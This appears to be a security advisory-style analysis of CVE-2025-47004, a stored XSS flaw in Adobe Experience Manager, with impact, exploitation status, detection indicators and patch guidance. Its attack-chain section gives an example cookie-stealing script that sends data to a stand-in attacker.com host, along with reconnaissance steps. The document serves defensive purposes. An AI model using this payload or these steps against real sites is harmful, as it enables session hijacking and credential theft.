CVE-2025-47004: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47004 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is stored server-side and executes in any victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim visiting the affected page) but does not require elevated privileges beyond a basic authenticated account, making it accessible to a broad range of potential attackers (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and manipulation or redirection of page content. The vulnerability has a changed scope, meaning the impact extends beyond the directly vulnerable component to affect other users of the AEM instance. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory, Feedly).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47004. The EPSS score is approximately 0.029%, reflecting a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM user account (e.g., a contributor or author role) sufficient to submit content to form fields.
3. Identify vulnerable form fields: Browse AEM authoring interfaces or public-facing forms to locate input fields that do not properly sanitize user-supplied content before storing and rendering it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to visit the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect exfiltrated session cookies, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further lateral movement (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript or HTML script tags stored within AEM JCR (Java Content Repository) nodes, particularly in form field properties or page content nodes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from end-user systems browsing AEM content.
• Process / Browser: Browser developer console errors or unexpected redirects when loading AEM pages; Content Security Policy (CSP) violation reports referencing unknown external origins.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premises to version 6.5.23.0 or later, and AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to limit script execution, enforce rigorous input validation and output encoding for all user-submitted content, and restrict form-editing privileges to trusted users only. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory, Feedly).